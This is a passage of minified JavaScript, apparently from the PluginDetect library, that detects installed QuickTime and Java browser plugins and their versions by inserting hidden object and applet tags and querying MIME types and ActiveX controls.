    },
    WLfuncs0: [],
    WLfuncs: [],
    runWLfuncs: function(a) {
        a.winLoaded = !0;
        a.callArray(a.WLfuncs0);
        a.callArray(a.WLfuncs);
        if (a.DOM) a.DOM.onDoneEmptyDiv()
    },
    winLoaded: !1,
    $$onWindowLoaded: function(a) {
        return function(b) {
            a.winLoaded ? a.call(b) : a.fPush(b, a.WLfuncs)
        }
    },
    $$onDetectionDone: function(a) {
        return function(b, c, d, e) {
            var f = a.init(b);
            if (-3 == f.status) return -1;
            f = f.plugin;
            a.isArray(f.funcs) || (f.funcs = []);
            1 != f.getVersionDone && (a.getVersion ? a.getVersion(b, d, e) : a.isMinVersion(b, "0", d, e));
            return -0.5 != f.installed && 0.5 != f.installed ? (a.call(c), 1) : f.NOTF ? (a.fPush(c, f.funcs), 0) : 1
        }
    },
    DOM: {
        $: 1,
        div: null,
        divID: "plugindetect",
        divWidth: 50,
        pluginSize: 1,
        altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;",
        emptyNode: function(a) {
            var b = this.$,
                c;
            if (a && a.childNodes) {
                for (c = a.childNodes.length - 1; 0 <= c; c--) try {
                    b.isIE && (a.childNodes[c].style.display = "none")
                } catch (d) {}
                try {
                    a.innerHTML = ""
                } catch (e) {}
            }
        },
        LASTfuncs: [],
        onDoneEmptyDiv: function() {
            var a = this.$,
                b, c;
            if (a.winLoaded && !a.WLfuncs0.length && !a.WLfuncs.length) {
                for (b in a.Plugins) if ((c = a.Plugins[b]) && (3 == c.OTF || c.funcs && c.funcs.length)) return;
                a.callArray(this.LASTfuncs);
                if (this.div && this.div.childNodes) {
                    for (b = this.div.childNodes.length - 1; 0 <= b; b--) a = this.div.childNodes[b], this.emptyNode(a);
                    try {
                        this.div.innerHTML = ""
                    } catch (d) {}
                }
                if (!this.div && (b = document.getElementById(this.divID))) this.div = b;
                if (this.div && this.div.parentNode) {
                    try {
                        this.div.parentNode.removeChild(this.div)
                    } catch (e) {}
                    this.div = null
                }
            }
        },
        width: function() {
            var a = this.DOM.$,
                b = this.span;
            return b ? a.isNum(b.scrollWidth) ? b.scrollWidth : a.isNum(b.offsetWidth) ? b.offsetWidth : -1 : -1
        },
        obj: function(a) {
            var b = this.DOM,
                c = this.span,
                c = c && c.firstChild ? c.firstChild : null;
            try {
                c && a && b.div.focus()
            } catch (d) {}
            return c
        },
        getTagStatus: function(a, b, c, d) {
            if (!a || !b || !c) return -2;
            var e = this.$,
                f = a.width(),
                g = c.width(),
                h = b.width();
            if (!c.span || !b.span || !a.obj()) return -2;
            if (0 > f || 0 > g || 0 > h || h <= this.pluginSize || g < h) return 0;
            if (f >= h) return -1;
            try {
                if (f == this.pluginSize && (!e.isIE || 4 == e.getPROP(a.obj(), "readyState"))) if (!a.winLoaded && e.winLoaded || a.winLoaded && e.isNum(d) && (
e.isNum(a.count) || (a.count = d), 10 <= d - a.count)) return 1
            } catch (j) {}
            return 0
        },
        setStyle: function(a, b) {
            var c = a.style,
                d;
            if (c && b) for (d = 0; d < b.length; d += 2) try {
                c[b[d]] = b[d + 1]
            } catch (e) {}
        },
        insertDivInBody: function(a, b) {
            var c = this.$,
                d = null,
                e = b ? window.top.document : window.document,
                f = e.getElementsByTagName("body")[0] || e.body;
            if (!f) try {
                e.write('<div id="pd33993399">.' + c.openTag + "/div>"), d = e.getElementById("pd33993399")
            } catch (g) {}
            if (f = e.getElementsByTagName("body")[0] || e.body) f.insertBefore(a, f.firstChild), d && f.removeChild(d)
        },
        insert: function(a, b, c, d) {
            var e = this.$,
                f = document,
                g, h = f.createElement("span"),
                j, k = "outlineStyle none borderStyle none padding 0px margin 0px visibility visible".split(" ");
            e.isDefined(d) || (d = "");
            if (e.isString(a) && /[^\s]/.test(a)) {
                a = a.toLowerCase().replace(/\s/g, "");
                g = e.openTag + a + ' width="' + this.pluginSize + '" height="' + this.pluginSize + '" ';
                g += 'style="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;display:inline;" ';
                for (j = 0; j < b.length; j += 2) / [ ^ \s] / .test(b[j + 1]) && (g += b[j] + '="' + b[j + 1] + '" ');
                g += ">";
                for (j = 0; j < c.length; j += 2) / [ ^ \s] / .test(c[j + 1]) && (g += e.openTag + 'param name="' + c[j] + '" value="' + c[j + 1] + '" />');
                g += d + e.openTag + "/" + a + ">"
            } else a = "", g = d;
            this.div || ((b = f.getElementById(this.divID)) ? this.div = b : (this.div = f.createElement("div"), this.div.id = this.divID), this.setStyle(this.di
v, k.concat(["width", this.divWidth + "px", "height", this.pluginSize + 3 + "px", "fontSize", this.pluginSize + 3 + "px", "lineHeight", this.pluginSize + 3 + "px
", "verticalAlign", "baseline", "display", "block"])), b || (this.setStyle(this.div, "position absolute right 0px top 0px".split(" ")), this.insertDivInBody(this
.div)));
            a = {
                span: null,
                winLoaded: e.winLoaded,
                tagName: a,
                outerHTML: g,
                DOM: this,
                width: this.width,
                obj: this.obj
            };
            if (this.div && this.div.parentNode) {
                this.setStyle(h, k.concat(["fontSize", this.pluginSize + 3 + "px", "lineHeight", this.pluginSize + 3 + "px", "verticalAlign", "baseline", "displa
y", "inline"]));
                this.div.appendChild(h);
                try {
                    h.innerHTML = g
                } catch (l) {}
                a.span = h;
                a.winLoaded = e.winLoaded
            }
            return a
        }
    },
    file: {
        $: 1,
        any: "fileStorageAny999",
        valid: "fileStorageValid999",
        save: function(a, b, c) {
            var d = this.$;
            a && d.isDefined(c) && (a[this.any] || (a[this.any] = []), a[this.valid] || (a[this.valid] = []), a[this.any].push(c), (b = this.split(b, c)) && a[th
is.valid].push(b))
        },
        getValidLength: function(a) {
            return a && a[this.valid] ? a[this.valid].length : 0
        },
        getAnyLength: function(a) {
            return a && a[this.any] ? a[this.any].length : 0
        },
        getValid: function(a, b) {
            return a && a[this.valid] ? this.get(a[this.valid], b) : null
        },
        getAny: function(a, b) {
            return a && a[this.any] ? this.get(a[this.any], b) : null
        },
        get: function(a, b) {
            var c = a.length - 1,
                d = this.$.isNum(b) ? b : c;
            return 0 > d || d > c ? null : a[d]
        },
        split: function(a, b) {
            var c = this.$,
                d = null,
                e;
            a = a ? a.replace(".", "\\.") : "";
            e = RegExp("^(.*[^\\/])(" + a + "\\s*)$");
            c.isString(b) && e.test(b) && (c = RegExp.$1.split("/"), d = {
                name: c[c.length - 1],
                ext: RegExp.$2,
                full: b
            }, c[c.length - 1] = "", d.path = c.join("/"));
            return d
        },
        z: 0
    },
    Plugins: {
        quicktime: {
            mimeType: ["video/quicktime", "application/x-quicktimeplayer", "image/x-macpaint", "image/x-quicktime"],
            progID: "QuickTimeCheckObject.QuickTimeCheck.1",
            progID0: "QuickTime.QuickTime",
            classID: "clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",
            codebase: {
                $: 1,
                isMin: function(a) {
                    return this.$.codebase.isMin(this, a)
                },
                search: function() {
                    return this.$.codebase.search(this)
                },
                ParamTags: '<param name="src" value="" /><param name="controller" value="false" />',
                DIGITMAX: [
                    [12, 11, 11],
                    [7, 60],
                    [7, 11, 11], 0, [7, 11, 11]
                ],
                DIGITMIN: [5, 0, 0, 0],
                Upper: ["999", "7,60", "7,50", "7,6", "7,5"],
                Lower: ["7,60", "7,50", "7,6", "7,5", "0"],
                convert: [1, function(a, b) {
                    return b ? [a[0], a[1] + a[2], a[3], "0"] : [a[0], a[1].charAt(0), a[1].charAt(1), a[2]]
                },
                1, 0, 1]
            },
            setPluginStatus: function(a, b, c) {
                var d = this.$;
                this.installed = b ? 1 : c ? 0 < c ? 0.7 : -0.1 : a ? 0 : -1;
                b && (this.version = d.formatNum(b, 3));
                this.getVersionDone = 0.7 == this.installed || -0.1 == this.installed ? 0 : 1;
                d.codebase.emptyGarbage()
            },
            getVersion: function(a) {
                var b = this.$,
                    c = null,
                    d = null;
                if (b.isIE) {
                    b.isStrNum(a) && (a = a.split(b.splitNumRegx), 3 < a.length && 0 < parseInt(a[3], 10) && (a[3] = "9999"), a = a.join(","));
                    if (a = this.codebase.isMin(a)) {
                        this.setPluginStatus(0, 0, a);
                        return
                    }
                    if (!c || b.debug) c = this.codebase.search();
                    if (!c || b.debug) if (d = b.getAXO(this.progID), (a = b.getPROP(d, "QuickTimeVersion")) && a.toString) c = a.toString(16), c = parseInt(c.ch
arAt(0) || "0", 16) + "." + parseInt(c.charAt(1) || "0", 16) + "." + parseInt(c.charAt(2) || "0", 16)
                } else b.hasMimeType(this.mimeType) && (d = 3 != b.OS ? b.findNavPlugin("QuickTime.*Plug-?in", 0) : null) && d.name && (c = b.getNum(d.name));
                this.setPluginStatus(d, c)
            }
        },
        java: {
            mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
            classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
            navigator: {
                $: 1,
                a: function() {
                    var a = !0;
                    try {
                        a = window.navigator.javaEnabled()
                    } catch (b) {}
                    return a
                }(),
                javaEnabled: function() {
                    return this.a
                },
                mimeObj: 0,
                pluginObj: 0
            },
            OTF: null,
            info: {
                $: 1,
                Plugin2Status: 0,
                setPlugin2Status: function(a) {
                    this.$.isNum(a) && (this.Plugin2Status = a)
                },
                getPlugin2Status: function() {
                    var a = this.$,
                        b = this.$$.navigator,
                        c, d;
                    0 === this.Plugin2Status && (a.isIE && 1 == a.OS && /Sun|Oracle/i.test(this.getVendor()) ? (b = this.isMinJre4Plugin2(), 0 < b ? this.setPlug
in2Status(1) : 0 > b && this.setPlugin2Status(-1)) : !a.isIE && b.pluginObj && (a = /Next.*Generation.*Java.*Plug-?in|Java.*Plug-?in\s*2\s/i, c = /Classic.*Java.
*Plug-in/i, d = b.pluginObj.description || "", b = b.pluginObj.name || "", a.test(d) || a.test(b) ? this.setPlugin2Status(1) : (c.test(d) || c.test(b)) && this.s
etPlugin2Status(-1)));
                    return this.Plugin2Status
                },
                isMinJre4Plugin2: function(a) {
                    var b = this.$,
                        c = this.$$,
                        d = "",
                        e = c.applet.codebase,
                        f = c.applet.getResult()[0],
                        d = 1 == b.OS ? "1,6,0,10" : 2 == b.OS ? "1,6,0,12" : "1,6,0,10";
                    a || (a = (f && !c.applet.isRange(f) ? f : 0) || c.version || (e.min && d ? 0 < e.isMin(d) ? d : "0,0,0,0" : 0));
                    return (a = b.formatNum(b.getNum(a))) ? 0 <= b.compareNums(a, d) ? 1 : -1 : 0
                },
                BrowserForbidsPlugin2: function() {
                    var a = this.$;
                    return 20 <= a.OS ? 0 : a.isIE && 6 > a.verIE || a.isGecko && 0 > a.compareNums(a.verGecko, "1,9,0,0") || a.isOpera && a.verOpera && 10.5 > a
.verOpera ? 1 : 0
                },
                BrowserRequiresPlugin2: function() {
                    var a = this.$;
                    return 20 <= a.OS ? 0 : a.isGecko && 0 <= a.compareNums(a.verGecko, "1,9,2,0") || a.isChrome || 1 == a.OS && a.verOpera && 10.6 <= a.verOpera
 ? 1 : 0
                },
                VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc.", "Oracle Corporation"],
                OracleMin: "1,7,0,0",
                OracleOrSun: function(a) {
                    var b = this.$;
                    return this.VENDORS[0 > b.compareNums(b.formatNum(a), this.OracleMin) ? 0 : 2]
                },
                OracleOrApple: function(a) {
                    var b = this.$;
                    return this.VENDORS[0 > b.compareNums(b.formatNum(a), this.OracleMin) ? 1 : 2]
                },
                getVendor: function() {
                    var a = this.$,
                        b = this.$$,
                        c = b.vendor || b.applet.getResult()[1] || "",
                        d = b.applet.codebase;
                    if (!c) if (d = b.DTK.version || d.version || (d.min ? 0 < d.isMin(this.OracleMin) ? this.OracleMin : "0,0,0,0" : 0)) c = this.OracleOrSun(d)
;
                    else if (b.version) if (2 == a.OS) c = this.OracleOrApple(b.version);
                    else if (!a.isIE && 1 == a.OS || 3 == a.OS) c = this.OracleOrSun(b.version);
                    return c
                },
                isPlugin2InstalledEnabled: function() {
                    var a = -1,
                        b = this.$$.installed,
                        c = this.getPlugin2Status(),
                        d = this.BrowserRequiresPlugin2(),
                        e = this.BrowserForbidsPlugin2(),
                        f = this.isMinJre4Plugin2();
                    if (null !== b && -0.1 <= b) if (3 <= c) a = 1;
                    else if (!(-3 >= c)) if (2 == c) a = 1;
                    else if (-2 != c) if (d && 0 <= c && 0 < f) a = 1;
                    else if (!e || !(0 >= c && 0 > f)) d ? a = 1 : e || (0 < c ? a = 1 : 0 > c || 0 > f || (a = 0));
                    return a
                }
            },
            getInfo: function() {
                var a = this.$,
                    b = this.applet,
                    c, d = this.installed,
                    e = this.DTK.query(),
                    f = b.results,
                    e = {
                        All_versions: [],
                        DeployTK_versions: [].concat(a.isArray(e.VERSIONS) ? e.VERSIONS : []),
                        DeploymentToolkitPlugin: 0 == e.status || !e.HTML ? null : e.HTML.obj(),
                        vendor: this.info.getVendor(),
                        isPlugin2: this.info.isPlugin2InstalledEnabled(),
                        OTF: 3 > this.OTF ? 0 : 3 == this.OTF ? 1 : 2,
                        PLUGIN: null,
                        name: "",
                        description: ""
                    };
                e.All_versions = [].concat(e.DeployTK_versions.length ? e.DeployTK_versions : a.isString(this.version) ? [this.version] : []);
                var g = e.All_versions;
                for (c = 0; c < g.length; c++) g[c] = a.formatNum(a.getNum(g[c]));
                for (c = 0; c < f.length; c++) if (f[c][0] && b.HTML[c] && b.HTML[c].obj()) {
                    e.PLUGIN = b.HTML[c].obj();
                    break
                }
                g = [null, null, null, null];
                for (c = 0; c < f.length; c++) if (f[c][0]) g[c] = 1;
                else if (null !== f[c][0]) if (this.NOTF && (!b.HTML[c] || !b.HTML[c].DELETE) && this.NOTF.isAppletActive(c), 1 == b.active[c]) g[c] = 0;
                else {
                    if (1 <= b.allowed[c] && 3 != this.OTF && (b.isDisabled.single(c) || -0.2 == d || -1 == d || 0 > b.active[c] || 3 == c && (!a.isIE || /Micros
oft/i.test(e.vendor)))) g[c] = -1
                } else 3 == c && f[0][0] && (g[c] = 0);
                e.objectTag = g[1];
                e.appletTag = g[2];
                e.objectTagActiveX = g[3];
                b = 0;
                a.isIE || (this.navMime.query().pluginObj ? b = this.navMime.pluginObj : this.navigator.pluginObj && (b = this.navigator.pluginObj), b && (e.name
 = b.name || "", e.description = b.description || ""));
                return e
            },
            getVerifyTagsDefault: function() {
                return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
            },
            getVersion: function(a, b, c) {
                var d = this.$,
                    e = this.applet,
                    f = this.verify,
                    g = this.navigator,
                    h = null,
                    j = null,
                    k = null;
                null === this.getVersionDone && (this.OTF = 0, g.mimeObj = d.hasMimeType(this.mimeType), g.mimeObj && (g.pluginObj = g.mimeObj.enabledPlugin), f 
&& f.begin());
                e.setVerifyTagsArray(c);
                d.file.save(this, ".jar", b);
                if (0 === this.getVersionDone) e.should_Insert_Query_Any() && (b = e.insert_Query_Any(a), this.setPluginStatus(b[0], b[1], h, a));
                else {
                    if ((!h || d.debug) && this.DTK.query().version) h = this.DTK.version;
                    if ((!h || d.debug) && this.navMime.query().version) h = this.navMime.version;
                    if ((!h || d.debug) && this.navPlugin.query().version) h = this.navPlugin.version;
                    this.nonAppletDetectionOk(h) && (k = h);
                    if (!k || d.debug || e.VerifyTagsHas(2.2) || e.VerifyTagsHas(2.5)) b = this.lang.System.getProperty(), b[0] && (h = b[0], k = b[0], j = b[1])
;
                    this.setPluginStatus(k, j, h, a);
                    e.should_Insert_Query_Any() && (b = e.insert_Query_Any(a), b[0] && (k = b[0], j = b[1]));
                    this.setPluginStatus(k, j, h, a)
                }
            },
            nonAppletDetectionOk: function(a) {
                var b = this.$,
                    c = this.navigator,
                    d = 1;
                !a || !c.javaEnabled() && !this.lang.System.getPropertyHas(a) || !b.isIE && !c.mimeObj && !this.lang.System.getPropertyHas(a) || b.isIE && !b.Act
iveXEnabled ? d = 0 : 20 <= b.OS || this.info && (0 > this.info.getPlugin2Status() && this.info.BrowserRequiresPlugin2()) && (d = 0);
                return d
            },
            setPluginStatus: function(a, b, c, d) {
                var e = this.$,
                    f, g = 0,
                    h = this.applet;
                c = c || this.version0;
                0 < this.OTF && (a = a || this.lang.System.getProperty()[0]);
                if (f = h.isRange(a)) h.setRange(f, d) == a && (g = f), a = 0;
                3 > this.OTF && (this.installed = g ? 0 < g ? 0.7 : -0.1 : a ? 1 : c ? -0.2 : -1);
                2 == this.OTF && (this.NOTF && !this.applet.getResult()[0] && !this.lang.System.getProperty()[0]) && (this.installed = c ? -0.2 : -1);
                c && (this.version0 = e.formatNum(e.getNum(c)));
                a && !g && (this.version = e.formatNum(e.getNum(a)));
                b && e.isString(b) && (this.vendor = b);
                this.vendor || (this.vendor = "");
                this.verify && this.verify.isEnabled() ? this.getVersionDone = 0 : 1 != this.getVersionDone && (this.getVersionDone = 2 > this.OTF ? 0 : this.app
let.can_Insert_Query_Any() ? 0 : 1);
                e.codebase.emptyGarbage()
            },
            DTK: {
                $: 1,
                hasRun: 0,
                status: null,
                VERSIONS: [],
                version: "",
                HTML: null,
                Plugin2Status: null,
                classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
                mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
                isDisabled: function() {
                    var a = this.$;
                    return a.isIE && (6 > a.verIE || !a.ActiveXEnabled) || a.isGecko && 0 >= a.compareNums(a.verGecko, a.formatNum("1.6")) || a.isSafari && 1 == 
a.OS && (!a.verSafari || 0 > a.compareNums(a.verSafari, "5,1,0,0")) || a.isChrome ? 1 : 0
                },
                query: function() {
                    var a = this.$,
                        b = this.$$,
                        c, d, e = a.DOM.altHTML,
                        f = {},
                        g, h = null,
                        j = null,
                        k = this.hasRun || this.isDisabled();
                    this.hasRun = 1;
                    if (k) return this;
                    this.status = 0;
                    if (a.isIE) for (c = 0; c < this.classID.length && !(this.HTML = a.DOM.insert("object", ["classid", this.classID[c]], [], e), h = this.HTML.o
bj(), a.getPROP(h, "jvms")); c++);
                    else if ((d = a.hasMimeType(this.mimeType)) && d.type) this.HTML = a.DOM.insert("object", ["type", d.type], [], e), h = this.HTML.obj();
                    if (h) {
                        try {
                            2 > Math.abs(b.info.getPlugin2Status()) && (this.Plugin2Status = h.isPlugin2())
                        } catch (l) {}
                        null !== this.Plugin2Status && (this.Plugin2Status ? b.info.setPlugin2Status(2) : (a.isIE || 0 >= b.info.getPlugin2Status()) && b.info.se
tPlugin2Status(-2));
                        try {
                            if (g = a.getPROP(h, "jvms")) if (j = g.getLength(), a.isNum(j)) {
                                this.status = 0 < j ? 1 : -1;
                                for (c = 0; c < j; c++) if (d = a.getNum(g.get(j - 1 - c).version)) this.VERSIONS.push(d), f["a" + a.formatNum(d)] = 1
                            }
                        } catch (m) {}
                    }
                    d = 0;
                    for (c in f) d++;
                    d && d !== this.VERSIONS.length && (this.VERSIONS = []);
                    this.VERSIONS.length && (this.version = a.formatNum(this.VERSIONS[0]));
                    return this
                }
            },
            navMime: {
                $: 1,
                hasRun: 0,
                mimetype: "",
                version: "",
                length: 0,
                mimeObj: 0,
                pluginObj: 0,
                isDisabled: function() {
                    var a = this.$$.navigator;
                    return this.$.isIE || !a.mimeObj || !a.pluginObj ? 1 : 0
                },
                query: function() {
                    var a = this.$,
                        b = this.hasRun || this.isDisabled();
                    this.hasRun = 1;
                    if (b) return this;
                    var b = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
                        c, d, e, f, g = {},
                        h = a.formatNum("0");
                    for (d = 0; d < navigator.mimeTypes.length; d++) if (f = (e = navigator.mimeTypes[d]) ? e.enabledPlugin : 0, (c = e && b.test(e.type || "") ?
 a.formatNum(a.getNum(RegExp.$1)) : 0) && f && (f.description || f.name)) g["a" + c] || this.length++, g["a" + c] = e.type, 0 < a.compareNums(c, h) && (h = c);
                    if (c = g["a" + h]) this.pluginObj = (this.mimeObj = e = a.hasMimeType(c)) ? e.enabledPlugin : 0, this.mimetype = c, this.version = h;
                    return this
                }
            },
            navPlugin: {
                $: 1,
                hasRun: 0,
                version: "",
                isDisabled: function() {
                    var a = this.$$.navigator;
                    return this.$.isIE || !a.mimeObj || !a.pluginObj ? 1 : 0
                },
                query: function() {
                    var a = this.$,
                        b = this.$$.navigator,
                        c, d, e = 0;
                    c = this.hasRun || this.isDisabled();
                    this.hasRun = 1;
                    if (c) return this;
                    c = b.pluginObj.name || "";
                    b = b.pluginObj.description || "";
                    if (!e || a.debug) if (d = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i, (d.test(c) || d.test(b)) && 5 <= parseI
nt(RegExp.$1, 10)) e = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0");
                    if (!e || a.debug) {
                        d = /Java[^\d]*Plug-in/i;
                        b = d.test(b) ? a.formatNum(a.getNum(b)) : 0;
                        c = d.test(c) ? a.formatNum(a.getNum(c)) : 0;
                        if (b && (0 > a.compareNums(b, a.formatNum("1,3")) || 0 <= a.compareNums(b, a.formatNum("2")))) b = 0;
                        if (c && (0 > a.compareNums(c, a.formatNum("1,3")) || 0 <= a.compareNums(c, a.formatNum("2")))) c = 0;
                        (c = b && c ? 0 < a.compareNums(b, c) ? b : c : b || c) && (e = c)
                    }
                    if (!e && (a.isSafari && 2 == a.OS) && (c = a.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0)))(b = a.getNum(c.description)) && (e = b);
                    e && (this.version = a.formatNum(e));
                    return this
                }
            },
            lang: {
                $: 1,
                System: {
                    $: 1,
                    hasRun: 0,
                    result: [null, null],
                    isDisabled: function() {
                        var a = this.$;
                        return !window.java || a.isIE || 2 == a.OS && a.verOpera && 9.2 > a.verOpera && 9 <= a.verOpera ? 1 : 0
                    },
                    getPropertyHas: function(a) {
                        var b = this.$,
                            c = this.getProperty()[0];
                        return a && c && 0 === b.compareNums(b.formatNum(a), b.formatNum(c)) ? 1 : 0
                    },
                    getProperty: function() {
                        var a = this.$,
                            b, c = this.hasRun || this.isDisabled();
                        this.hasRun = 1;
                        if (!c) {
                            a.java_qqq990 = 0;
                            try {
                                b = document.createElement("script"), b.type = "text/javascript", b.appendChild(document.createTextNode("(function(){var e;try{" 
+ a.name + ".java_qqq990=[window.java.lang.System.getProperty('java.version')+'',window.java.lang.System.getProperty('java.vendor')+'']}catch(e){}})();")), a.hea
d.insertBefore(b, a.head.firstChild), a.head.removeChild(b)
                            } catch (d) {}
                            a.isArray(a.java_qqq990) && (this.result = [].concat(a.java_qqq990))
                        }
                        return this.result
                    }
                }
            },
            applet: {
                $: 1,
                codebase: {
                    $: 1,
                    isMin: function(a) {
                        return this.$.codebase.isMin(this, a)
                    },
                    search: function() {
                        return this.$.codebase.search(this)
                    },
                    ParamTags: '<param name="code" value="A19999.class" /><param name="codebase_lookup" value="false" />',
                    DIGITMAX: [
                        [16, 64],
                        [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
                        [1, 4, 0, 64],
                        [1, 3, 2, 32]
                    ],
                    DIGITMIN: [1, 0, 0, 0],
                    Upper: "999 10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4".split(" "),
                    Lower: "10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4 0".split(" "),
                    convert: [function(a, b) {
                        return b ? [1 < parseInt(a[0], 10) ? "99" : parseInt(a[1], 10) + 3 + "", a[3], "0", "0"] : ["1", parseInt(a[0], 10) - 3 + "", "0", a[1]]
                    }, function(a, b) {
                        return b ? [a[1], a[2], a[3] + "0", "0"] : ["1", a[0], a[1], a[2].substring(0, a[2].length - 1 || 1)]
                    },
                    0, function(a, b) {
                        return b ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
                    },
                    0, 1, function(a, b) {
                        return b ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
                    },
                    1]
                },
                results: [
                    [null, null],
                    [null, null],
                    [null, null],
                    [null, null]
                ],
                getResult: function() {
                    var a = this.results,
                        b, c = [];
                    for (b = a.length - 1; 0 <= b && !(c = a[b], c[0]); b--);
                    return c = [].concat(c)
                },
                HTML: [0, 0, 0, 0],
                active: [0, 0, 0, 0],
                DummyObjTagHTML: 0,
                DummySpanTagHTML: 0,
                allowed: [1, 1, 1, 1],
                VerifyTagsHas: function(a) {
                    var b;
                    for (b = 0; b < this.allowed.length; b++) if (this.allowed[b] === a) return 1;
                    return 0
                },
                saveAsVerifyTagsArray: function(a) {
                    var b = this.$,
                        c;
                    if (b.isArray(a)) {
                        for (c = 1; c < this.allowed.length; c++) a.length > c - 1 && b.isNum(a[c - 1]) && (0 > a[c - 1] && (a[c - 1] = 0), 3 < a[c - 1] && (a[c 
- 1] = 3), this.allowed[c] = a[c - 1]);
                        this.allowed[0] = this.allowed[3]
                    }
                },
                setVerifyTagsArray: function(a) {
                    var b = this.$,
                        c = this.$$;
                    null === c.getVersionDone && this.saveAsVerifyTagsArray(c.getVerifyTagsDefault());
                    b.debug || c.verify && c.verify.isEnabled() ? this.saveAsVerifyTagsArray([3, 3, 3]) : a && this.saveAsVerifyTagsArray(a)
                },
                isDisabled: {
                    $: 1,
                    single: function(a) {
                        var b = this.$;
                        if (0 == a) return b.codebase.isDisabled();
                        if (3 == a && !b.isIE || this.all()) return 1;
                        if (1 == a || 3 == a) return this.ObjectTag();
                        if (2 == a) return this.AppletTag()
                    },
                    aA_: null,
                    all: function() {
                        var a = this.$,
                            b = this.$$,
                            c = b.navigator,
                            d = 0;
                        null === this.aA_ && (20 <= a.OS ? d = 0 : a.verOpera && 11 > a.verOpera && !c.javaEnabled() && !b.lang.System.getProperty()[0] ? d = 1 :
 a.verGecko && 0 > a.compareNums(a.verGecko, a.formatNum("2")) && !c.mimeObj && !b.lang.System.getProperty()[0] ? d = 1 : this.AppletTag() && this.ObjectTag() &&
 (d = 1), this.aA_ = d);
                        return this.aA_
                    },
                    AppletTag: function() {
                        var a = this.$$.navigator;
                        return this.$.isIE ? !a.javaEnabled() : 0
                    },
                    ObjectTag: function() {
                        var a = this.$;
                        return a.isIE ? !a.ActiveXEnabled : 0
                    },
                    VerifyTagsDefault_1: function() {
                        var a = this.$;
                        return 20 <= a.OS ? 1 : a.isIE && (9 > a.verIE || !a.ActiveXEnabled) || a.verGecko && 0 > a.compareNums(a.verGecko, a.formatNum("2")) || 
a.isSafari && (!a.verSafari || 0 > a.compareNums(a.verSafari, a.formatNum("4"))) || a.verOpera && 10 > a.verOpera ? 0 : 1
                    },
                    z: 0
                },
                can_Insert_Query: function(a) {
                    var b = this.results[0][0],
                        c = this.getResult()[0];
                    return this.HTML[a] || 0 == a && null !== b && !this.isRange(b) || 0 == a && c && !this.isRange(c) ? 0 : !this.isDisabled.single(a)
                },
                can_Insert_Query_Any: function() {
                    var a;
                    for (a = 0; a < this.results.length; a++) if (this.can_Insert_Query(a)) return 1;
                    return 0
                },
                should_Insert_Query: function(a) {
                    var b = this.allowed,
                        c = this.$$,
                        d = this.getResult()[0],
                        d = d && (0 < a || !this.isRange(d));
                    return !this.can_Insert_Query(a) || 0 === b[a] ? 0 : 3 == b[a] || (2.8 == b[a] && !d || 2.5 == b[a] && !c.lang.System.getProperty()[0] || 2.2
 == b[a] && !c.lang.System.getProperty()[0] && !d) || !c.nonAppletDetectionOk(c.version0) && (2 == b[a] || 1 == b[a] && !d) ? 1 : 0
                },
                should_Insert_Query_Any: function() {
                    var a;
                    for (a = 0; a < this.allowed.length; a++) if (this.should_Insert_Query(a)) return 1;
                    return 0
                },
                query: function(a) {
                    var b = this.$,
                        c = this.$$,
                        d = null,
                        e = null,
                        f = this.results,
                        g, h;
                    if ((g = this.HTML[a]) && g.obj() && !(f[a][0] || b.debug && 3 > c.OTF)) if (g = g.obj(!0), b.isIE && (h = b.getPROP(g, "readyState")), !b.is
IE || 4 == h) {
                        try {
                            d = b.getNum(g.getVersion() + ""), e = g.getVendor() + "", g.statusbar(" ")
                        } catch (j) {}
                        if (d && b.isStrNum(d) && (f[a] = [d, e], 3 > Math.abs(c.info.getPlugin2Status()))) {
                            try {
                                g.Packages.A.isPlugin2() && c.info.setPlugin2Status(3)
                            } catch (k) {}
                            3 > Math.abs(c.info.getPlugin2Status()) && c.info.setPlugin2Status(-3)
                        }
                    }
                },
                isRange: function(a) {
                    return /^[<>]/.test(a || "") ? ">" == a.charAt(0) ? 1 : -1 : 0
                },
                setRange: function(a, b) {
                    return (a ? 0 < a ? ">" : "<" : "") + (this.$.isString(b) ? b : "")
                },
                insert_Query_Any: function(a) {
                    var b = this.$,
                        c = this.$$,
                        d = this.results,
                        e = this.HTML,
                        f = b.DOM.altHTML,
                        g, h = b.file.getValid(c);
                    this.should_Insert_Query(0) && (2 > c.OTF && (c.OTF = 2), d[0] = [0, 0], (g = a ? this.codebase.isMin(a) : this.codebase.search()) && (d[0][0
] = a ? this.setRange(g, a) : g));
                    if (!h) return this.getResult();
                    a = h.path;
                    h = ["archive", h.name + h.ext, "code", "A.class"];
                    g = ["mayscript", "true"];
                    var j = ["scriptable", "true", "codebase_lookup", "false"].concat(g),
                        k = c.navigator,
                        k = !b.isIE && k.mimeObj && k.mimeObj.type ? k.mimeObj.type : c.mimeType[0];
                    this.should_Insert_Query(1) && (2 > c.OTF && (c.OTF = 2), e[1] = b.DOM.insert("object", ["type", k], ["codebase", a].concat(h).concat(j), f, 
c), d[1] = [0, 0], this.query(1));
